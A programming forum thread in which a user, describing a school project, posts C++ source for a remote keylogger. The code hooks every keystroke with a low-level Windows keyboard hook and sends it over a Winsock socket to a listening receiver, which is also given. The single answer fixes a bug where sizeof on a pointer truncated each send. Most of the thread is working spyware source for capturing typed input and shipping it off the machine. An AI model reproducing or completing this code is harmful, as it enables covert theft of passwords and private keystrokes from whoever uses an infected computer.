views:

277

answers:

2

Hello, I am writing an application that needs to send data over a network. I have the application completed but there is a problem with sending the data. Every time I send a piece of data, it is cut off after 4 characters and the rest is garbage. The application is a remote keylogger I am writing for a school project, which requires you to demonstrate the usage of hooks and winsock. We are allowed to ask for help on forums. Any help would be appreciated!

Here' the code:

Server:

 // rkl.cpp : Defines the entry point for the application.
//

#include "stdafx.h"
#include "rkl.h"
#include <windows.h>
#include <stdio.h>

SOCKET kSock;
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam);

int APIENTRY _tWinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPTSTR    lpCmdLine,
                     int       nCmdShow)
{



WSAData wsdata; 
WORD wsver=MAKEWORD(2, 0); 
int nret=WSAStartup(wsver, &wsdata); 

if(nret != 0)
{
    MessageBoxA(0,"Error 0","Error",MB_OK);
WSACleanup(); 
return -1;
}


kSock=socket(AF_INET, SOCK_STREAM, 0);


if(kSock == INVALID_SOCKET)
{
MessageBoxA(0,"Error 1","Error",MB_OK);
return -1;
}


sockaddr_in sin;
sin.sin_port=htons(808);
sin.sin_addr.s_addr=inet_addr("127.0.0.1");
sin.sin_family=AF_INET;

if(connect(kSock,(sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR)
{ 
MessageBoxA(0,"Error 2","Error",MB_OK);
WSACleanup(); 
return -1;
}


HHOOK keyboardHook = SetWindowsHookEx(
     WH_KEYBOARD_LL,
     keyboardHookProc,
     hInstance,
     0);

char buf1[256];
char* buf = buf1;
buf = "Test";
send(kSock,buf,sizeof(buf),0);

MessageBoxA(0,"Press ok to stop logging.","Waiting...",MB_OK);

closesocket(kSock);
return 0;



}




LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
    PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);


    if (wParam == WM_KEYDOWN) {
     char* buf;
char tl[256];
buf = tl;
buf = itoa(p->vkCode,buf,10);
int tmp;

tmp = atoi(buf);

if(tmp != 0)
{
     switch (tmp) {


case VK_BACK:      buf =  "<BACKSPACE>";       break;
case VK_TAB:      buf =  "<TAB>";       break;
case VK_CLEAR:      buf =  "<CLEAR>";       break;
case VK_RETURN:      buf =  "<ENTER>";       break;
case VK_SHIFT:      buf =  "<SHIFT>";       break;
case VK_CONTROL:      buf =  "<CTRL>";       break;
case VK_MENU:      buf =  "<ALT>";       break;
case VK_PAUSE:      buf =  "<PAUSE>";       break;
case VK_CAPITAL:      buf =  "<CAPS LOCK>";       break;
case VK_ESCAPE:      buf =  "<ESC>";       break;
case VK_SPACE:      buf =  "<SPACEBAR>";       break;
case VK_PRIOR:      buf =  "<PAGE UP>";       break;
case VK_NEXT:      buf =  "<PAGE DOWN>";       break;
case VK_END:      buf =  "<END>";       break;
case VK_HOME:      buf =  "<HOME>";       break;
case VK_LEFT:      buf =  "<LEFT ARROW>";       break;
case VK_UP:      buf =  "<UP ARROW>";       break;
case VK_RIGHT:      buf =  "<RIGHT ARROW>";       break;
case VK_DOWN:      buf =  "<DOWN ARROW>";       break;
case VK_SELECT:      buf =  "<SELECT>";       break;
case VK_PRINT:      buf =  "<PRINT>";       break;
case VK_EXECUTE:      buf =  "<EXECUTE>";       break;
case VK_SNAPSHOT:      buf =  "<PRINT SCREEN>";       break;
case VK_INSERT:      buf =  "<INSERT>";       break;
case VK_DELETE:      buf =  "<DEL>";       break;
case VK_HELP:      buf =  "<HELP>";       break;
case VK_LWIN:      buf =  "<Left Windows key>";       break;
case VK_RWIN :      buf =  "<Right Windows key>";       break;
case VK_APPS:      buf =  "<Applications key>";       break;
case VK_SLEEP:      buf =  "<Computer Sleep key>";       break;
case VK_NUMPAD0:      buf =  "0";       break;
case VK_NUMPAD1:      buf =  "1";       break;
case VK_NUMPAD2:      buf =  "2";       break;
case VK_NUMPAD3:      buf =  "3";       break;
case VK_NUMPAD4:      buf =  "4";       break;
case VK_NUMPAD5:      buf =  "5";       break;
case VK_NUMPAD6:      buf =  "6";       break;
case VK_NUMPAD7:      buf =  "7";       break;
case VK_NUMPAD8:      buf =  "8";       break;
case VK_NUMPAD9:      buf =  "9";       break;
case VK_MULTIPLY:      buf =  "*";       break;
case VK_ADD:      buf =  "+";       break;
case VK_SEPARATOR:      buf =  "<Separator key>";       break;
case VK_SUBTRACT:      buf =  "-";       break;
case VK_DECIMAL:      buf =  ".";       break;
case VK_DIVIDE:      buf =  "/";       break;
case VK_F1:      buf =  "<F1>";       break;
case VK_F2:      buf =  "<F2>";       break;
case VK_F3:      buf =  "<F3>";       break;
case VK_F4:      buf =  "<F4>";       break;
case VK_F5:      buf =  "<F5>";       break;
case VK_F6:      buf =  "<F6>";       break;
case VK_F7:      buf =  "<F7>";       break;
case VK_F8:      buf =  "<F8>";       break;
case VK_F9:      buf =  "<F9>";       break;
case VK_F10:      buf =  "<F10>";       break;
case VK_F11:      buf =  "<F11>";       break;
case VK_F12:      buf =  "<F12>";       break;
case VK_NUMLOCK:      buf =  "<NUM LOCK>";       break;
case VK_SCROLL:      buf =  "<SCROLL LOCK>";       break;
case VK_LSHIFT:      buf =  "<Left SHIFT>";       break;
case VK_RSHIFT:      buf =  "<Right SHIFT>";       break;
case VK_LCONTROL:      buf =  "<Left CONTROL>";       break;
case VK_RCONTROL:      buf =  "<Right CONTROL>";       break;
case VK_LMENU:      buf =  "<Left MENU>";       break;
case VK_RMENU:      buf =  "<Right MENU>";       break;
case VK_BROWSER_BACK:      buf =  "<Browser Back key>";       break;
case VK_BROWSER_FORWARD:      buf =  "<Browser Forward key>";       break;
case VK_BROWSER_REFRESH:      buf =  "<Browser Refresh key>";       break;
case VK_BROWSER_STOP:      buf =  "<Browser Stop key>";       break;
case VK_BROWSER_SEARCH:      buf =  "<Browser Search key >";       break;
case VK_BROWSER_FAVORITES:      buf =  "<Browser Favorites key>";       break;
case VK_BROWSER_HOME:      buf =  "<Browser Start and Home key>";       break;
case VK_VOLUME_MUTE:      buf =  "<Volume Mute key>";       break;
case VK_VOLUME_DOWN:      buf =  "<Volume Down key>";       break;
case VK_VOLUME_UP:      buf =  "<Volume Up key>";       break;
case VK_MEDIA_NEXT_TRACK:      buf =  "<Next Track key>";       break;
case VK_MEDIA_PREV_TRACK:      buf =  "<Previous Track key>";       break;
case VK_MEDIA_STOP:      buf =  "<Stop Media key>";       break;
case VK_MEDIA_PLAY_PAUSE:      buf =  "<Play/Pause Media key>";       break;
case VK_LAUNCH_MAIL:      buf =  "<Start Mail key>";       break;
case VK_LAUNCH_MEDIA_SELECT:      buf =  "<Select Media key>";       break;
case VK_LAUNCH_APP1:      buf =  "<Start Application 1 key>";       break;
case VK_LAUNCH_APP2:      buf =  "<Start Application 2 key>";       break;
case VK_OEM_1:      buf =  "<;:' key >";       break;
case VK_OEM_PLUS:      buf =  "+";       break;
case VK_OEM_COMMA:      buf =  ",";       break;
case VK_OEM_MINUS:      buf =  "-";       break;
case VK_OEM_PERIOD:      buf =  ".";       break;
case VK_OEM_2:      buf =  "</?' key >";       break;
case VK_OEM_3:      buf =  "<`~' key >";       break;
case VK_OEM_4:      buf =  "<[{' key>";       break;
case VK_OEM_5:      buf =  "<\|' key>";       break;
case VK_OEM_6:      buf =  "<]}' key>";       break;
case VK_OEM_7:      buf =  "<single-quote/double-quote' key>";       break;
case VK_OEM_CLEAR:      buf =  "<Clear>";       break;




      default:
      buf[0] = char(tmp);
      buf[1] = char(0);
      buf[2] = char(0);
      buf[3] = char(0);
      buf[4] = char(0);
         buf[5] = char(0);
      buf[6] = char(0);
      buf[7] = char(0);
      buf[8] = char(0);


     }


send(kSock,buf,sizeof(buf),0);
}

    return CallNextHookEx(NULL, nCode, wParam, lParam);
    }
}

Client:

// lkv.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <windows.h> 
#include <iostream>

int main()
{

WSAData wsdata;
WORD wsver=MAKEWORD(2, 0); 
int nret=WSAStartup(wsver, &wsdata); 
if(nret != 0){ 
std::cout<<"Startup failed, error code: "<<WSAGetLastError(); 
WSACleanup(); 
return -1;
}
std::cout<<"Init success\n";
SOCKET kSock=socket(AF_INET, SOCK_STREAM, 0);
if(kSock == INVALID_SOCKET){
std::cout<<"Socket init failed";
return -1;
}
std::cout<<"Socket initialized\n";
sockaddr_in sin;
sin.sin_port=htons(808);
sin.sin_addr.s_addr=INADDR_ANY;
sin.sin_family=AF_INET;
if(bind(kSock,(sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR){
std::cout<<"Failed to bind\n";
WSACleanup(); 
return -1;
}
std::cout<<"Bind successful!\n";
while (listen(kSock, SOMAXCONN) == SOCKET_ERROR); 
SOCKET client;
int len = sizeof(sin);
client=accept(kSock, (sockaddr*)&sin, &len);
std::cout<<"Connection established!\n";
int i;



for(;;)
{
char buf[22];
recv(client, buf, sizeof(buf), 0); 
std::cout << buf;
}


closesocket(client); 
closesocket(kSock);
WSACleanup();
return 0;
}
+5  A: 

In your server side, your send line is:

send(kSock,buf,sizeof(buf),0);

And buf is a char*. The size of a char* in your case in 4 bytes, so you're telling send to send 4 bytes of data, when you really want to send the size of the buffer which is strlen(buf)+1 (The plus one is to include the terminating zero of the string).

A: 

Thank you so much!!!!!!!